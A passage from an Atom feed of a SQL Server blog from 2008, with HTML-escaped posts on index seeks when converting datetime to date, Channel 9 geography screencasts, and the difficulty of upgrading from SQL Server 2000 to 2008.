&lt;P&gt;&lt;EM&gt;WHERE&lt;/EM&gt;&lt;/FONT&gt;&lt;EM&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;CAST&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;CurrencyRateDate &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;AS&lt;/FONT&gt;&lt;FONT size=2&gt; DATE&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'20040701'&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;;&lt;/FONT&gt;&lt;/EM&gt;&lt;/P&gt;
&lt;P&gt;I was surprised by this, as we all know functions/conversions on column names are generaly bad for performance.&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;Let's see how this works. First create this table in the tempdb database.&lt;BR&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;use&lt;/FONT&gt;&lt;FONT size=2&gt; tempdb&lt;/P&gt;
&lt;P&gt;go&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;create&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;table&lt;/FONT&gt;&lt;FONT size=2&gt; TestDatetimePerf &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;SomeCol &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;datetime&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;id &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;int&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;identity&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;go&lt;/P&gt;
&lt;P&gt;This will insert 2048 rows with dates between 2008-01-01 12 AM and 2008-03-26 7 AM&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;insert&lt;/FONT&gt;&lt;FONT size=2&gt; TestDatetimePerf&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;SomeCol&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;select&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;dateadd&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;hh&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;number&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'20080101'&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;from&lt;/FONT&gt;&lt;FONT size=2&gt; master&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;..&lt;/FONT&gt;&lt;FONT size=2&gt;spt_values&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;where&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;type&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'P'&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;go&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;create&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;index&lt;/FONT&gt;&lt;FONT size=2&gt; ix_Date &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;on&lt;/FONT&gt;&lt;FONT size=2&gt; TestDatetimePerf&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;SomeCol&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;go&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Turn on the execution plan&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;set&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;showplan_text&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;on&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;go&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Execute the following query&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;select&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;*&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;from&lt;/FONT&gt;&lt;FONT size=2&gt; TestDatetimePerf&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;where&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;convert&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;varchar&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;30&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;),&lt;/FONT&gt;&lt;FONT size=2&gt;SomeCol&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;112&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'20080103'&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;
&lt;P&gt;|&lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--Table Scan(OBJECT:([tempdb].[dbo].[TestDatetimePerf]), &lt;/P&gt;
&lt;P&gt;--WHERE:(CONVERT(varchar(30),[tempdb].[dbo].[TestDatetimePerf].[SomeCol],112)=[@1]))&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;As you can see that results in a scan. &lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;What happens when you convert to date?&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#0000ff size=2&gt;select&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;*&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;from&lt;/FONT&gt;&lt;FONT size=2&gt; TestDatetimePerf&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;where&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;convert&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;date&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;SomeCol&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'20080103'&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;|&lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--Nested Loops(Inner Join, OUTER REFERENCES:([Bmk1000]))&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;|&lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--Nested Loops(Inner Join, OUTER REFERENCES:([Expr1007], [Expr1008], [Expr1006]))&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;|&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;|&lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--Compute Scalar(DEFINE:(([Expr1007],[Expr1008],[Expr1006])=GetRangeThroughConvert('2008-01-03','2008-01-03',(62))))&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;|&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;|&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;|&lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--Constant Scan&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;|&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;|&lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--Index Seek(OBJECT:([tempdb].[dbo].[TestDatetimePerf].[ix_Date]), &lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--SEEK:([tempdb].[dbo].[TestDatetimePerf].[SomeCol] &amp;gt; [Expr1007] &lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--AND [tempdb].[dbo].[TestDatetimePerf].[SomeCol] &amp;lt; [Expr1008]), &lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--WHERE:(CONVERT(date,[tempdb].[dbo].[TestDatetimePerf].[SomeCol],0)='2008-01-03') ORDERED FORWARD)&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;|&lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--RID Lookup(OBJECT:([tempdb].[dbo].[TestDatetimePerf]), SEEK:([Bmk1000]=[Bmk1000]) LOOKUP ORDERED FORWARD)&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;See that? You get a seek instead, very interesting. It would be nice that when you use convert with the style optional parameter that the optimizer would be smart enough to convert that also to a seek.&lt;/P&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=Converting Columns To Date From Datetime Does Not Result In A Scan In SQL Server 2008&amp;amp;body=Seen on SQLblog.com: %0A%0A%09Converting Columns To Date From Datetime Does Not Result In A Scan In SQL Server 2008%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/07/24/8022.aspx" target="_blank" title = "Email Converting Columns To Date From Datetime Does Not Result In A Scan In SQL Server 2008"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/24/8022.aspx&amp;amp;title=Converting+Columns+To+Date+From+Datetime+Does+Not+Result+In+A+Scan+In+SQL+Server+2008" target="_blank" title = "Submit Converting Columns To Date From Datetime Does Not Result In A Scan In SQL Server 2008 to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/24/8022.aspx&amp;amp;phase=2" target="_blank" title = "Submit Converting Columns To Date From Datetime Does Not Result In A Scan In SQL Server 2008 to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/24/8022.aspx&amp;amp;title=Converting+Columns+To+Date+From+Datetime+Does+Not+Result+In+A+Scan+In+SQL+Server+2008" target="_blank" title = "Submit Converting Columns To Date From Datetime Does Not Result In A Scan In SQL Server 2008 to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/24/8022.aspx&amp;amp;title=Converting+Columns+To+Date+From+Datetime+Does+Not+Result+In+A+Scan+In+SQL+Server+2008" target="_blank" title = "Submit Converting Columns To Date From Datetime Does Not Result In A Scan In SQL Server 2008 to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/24/8022.aspx&amp;amp;title=Converting+Columns+To+Date+From+Datetime+Does+Not+Result+In+A+Scan+In+SQL+Server+2008&amp;amp;;top=1" target="_blank" title = "Add Converting Columns To Date From Datetime Does Not Result In A Scan In SQL Server 2008 to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=8022" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="SQL Server 2008" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Server+2008/default.aspx" /><category term="dates" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/dates/default.aspx" /></entry><entry><title>SQL Server 2008 geography data type screencasts on Channel 9</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/07/19/7913.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/07/19/7913.aspx</id><published>2008-07-19T20:34:00Z</published><updated>2008-07-19T20:34:00Z</updated><content type="html">&lt;P&gt;Channel 9 has two screencast that deal with the new geography data type in SQL Server 2008.&lt;/P&gt;
&lt;P&gt;&lt;A class="" href="http://channel9.msdn.com/posts/keydet/Saving-Virtual-Earth-Polygons-to-SQL-Server-2008/"&gt;Saving Virtual Earth Polygons to SQL Server 2008&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Marc Schweigert shows you how to draw a polygon on a Virtual Earth map and save it using ASP.NET AJAX, Windows Communication Foundation (WCF), LINQ to SQL, and the new geography data type in SQL Server 2008.&lt;/P&gt;
&lt;P&gt;&lt;A class="" href="http://channel9.msdn.com/posts/keydet/Rendering-Polygons-from-SQL-Server-2008-on-Virtual-Earth/"&gt;Rendering Polygons from SQL Server 2008 on Virtual Earth&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Marc Schweigert builds off of the concepts shown in his previous screencast and shows you how to render a polygon on a Virtual Earth map using REST, Windows Communication Foundation (WCF), LINQ to SQL, and the new geography data type in SQL Server 2008.&lt;/P&gt;
&lt;P&gt;Enjoy the shows&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=SQL Server 2008 geography data type screencasts on Channel 9&amp;amp;body=Seen on SQLblog.com: %0A%0A%09SQL Server 2008 geography data type screencasts on Channel 9%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/07/19/7913.aspx" target="_blank" title = "Email SQL Server 2008 geography data type screencasts on Channel 9"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/19/7913.aspx&amp;amp;title=SQL+Server+2008+geography+data+type+screencasts+on+Channel+9" target="_blank" title = "Submit SQL Server 2008 geography data type screencasts on Channel 9 to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/19/7913.aspx&amp;amp;phase=2" target="_blank" title = "Submit SQL Server 2008 geography data type screencasts on Channel 9 to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/19/7913.aspx&amp;amp;title=SQL+Server+2008+geography+data+type+screencasts+on+Channel+9" target="_blank" title = "Submit SQL Server 2008 geography data type screencasts on Channel 9 to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/19/7913.aspx&amp;amp;title=SQL+Server+2008+geography+data+type+screencasts+on+Channel+9" target="_blank" title = "Submit SQL Server 2008 geography data type screencasts on Channel 9 to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/19/7913.aspx&amp;amp;title=SQL+Server+2008+geography+data+type+screencasts+on+Channel+9&amp;amp;;top=1" target="_blank" title = "Add SQL Server 2008 geography data type screencasts on Channel 9 to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=7913" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="SQL Server 2008" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Server+2008/default.aspx" /><category term="LINQ" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/LINQ/default.aspx" /><category term="screencast" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/screencast/default.aspx" /><category term="WCF" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/WCF/default.aspx" /></entry><entry><title>If you are upgrading from SQL Server 2000 to 2008 and you never touched SQL Server 2005, then I feel sorry for you</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/07/09/7753.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/07/09/7753.aspx</id><published>2008-07-09T17:33:00Z</published><updated>2008-07-09T17:33:00Z</updated><content type="html">&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;&lt;EM&gt;“I sense you skipped SQL Server 2005 in you...&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/SPAN&gt;Skipping SQL Server 2005 leads to a bigger learning curve...&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/SPAN&gt;A bigger learning curve leads to not knowing the product as well...Not knowing the product as well leads to suffering..Running in compatibility mode 8.0 is the path to the darkside.. SQL Server 2008 (mode 10.0) is the force...May the force be with you" --&lt;/EM&gt; &lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;So you decided to skip SQL Server 2005 and go straight to SQL Server 2008. You have some learning to do, let’s put this into perspective. SQL Server 2005 was so massive compared to SQL Server 2000 that it is almost like climbing Mount Everest. Going from SQL Server 2000 to SQL Server 2008 is like climbing Mount Everest but you start at the bottom of the Mariana Trench.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;2000 -&amp;gt; 2005 = Climb Mount Everest (8,848m/29,028ft).&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;2000 -&amp;gt; 2008 = Climb Mount Everest from the bottom of the Mariana Trench (19,748 metres, 64,788 ft) .&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;Not only do you have to deal with a complete rewrite of DTS and SSAS but SQL Server 2008 compared to SQL Server 2000 has so many enhancements to T-SQL that it is not funny. You will also have to deal with deprecated and dropped features for example *= and =* joins.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;But it is not all bad; here are a couple of good things to consider (IMO).&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;If your developers know C# better than VB then they might pickup SSIS easier since in SQL Server 2008 SSIS supports C#.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;If you work with spatial data then you have waited for a good reason.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;Several new datatypes in 2008 which could make you app perform better (date instead of datetime, saves 5 bytes per row), Compression etc etc&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;There is a lot more of course, the merge statement is back, it was available in beta 2 of SQL Server 2005 but then got yanked.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;I am just wondering how many of you are going straight from SQL Server 2000 to SQL Server 2008 without having any exposure to SQL Server 2005 at all? For some boxes I am going from SQL Server 2000 to SQL Server 2008 but we already also have SQL Server 2005 boxes running. The most challenging part for me was going from DTS to SSIS.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;Now let's come back to that silly "I sense...." part at the beginning. A couple of year ago this was my sig&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;------------------------------------------------------------------------------------------&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;&lt;EM&gt;“I sense many useless updates in you... Useless updates lead to fragmentation...&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/SPAN&gt;Fragmentation leads to downtime...Downtime leads to suffering..Fragmentation is the path to the darkside.. DBCC INDEXDEFRAG and DBCC DBREINDEX are the force...May the force be with you" -- &lt;/EM&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;I changed the sig because of this guy's answer here: &lt;/FONT&gt;&lt;A href="http://p2p.wrox.com/topic.asp?TOPIC_ID=39079"&gt;&lt;FONT face="Times New Roman" color=#800080 size=3&gt;http://p2p.wrox.com/topic.asp?TOPIC_ID=39079&lt;/FONT&gt;&lt;/A&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;&lt;EM&gt;" I sense lack of friends in you"&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/SPAN&gt;if you think that was a funny statement think again.&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/SPAN&gt;Not all programmers created the mess they are in.&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/SPAN&gt;In most cases it's a matter of cleaning up the mess of others before them.&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/SPAN&gt;If you don't have anything positive to add then keep your comments to yourself.&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/SPAN&gt;If you would have read my post thoroughly you would have seen that your recommendation was pretty much useless.&lt;/EM&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&lt;EM&gt;&amp;nbsp;&lt;/EM&gt;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;&lt;EM&gt;"May you drop of the earth"—&lt;/EM&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
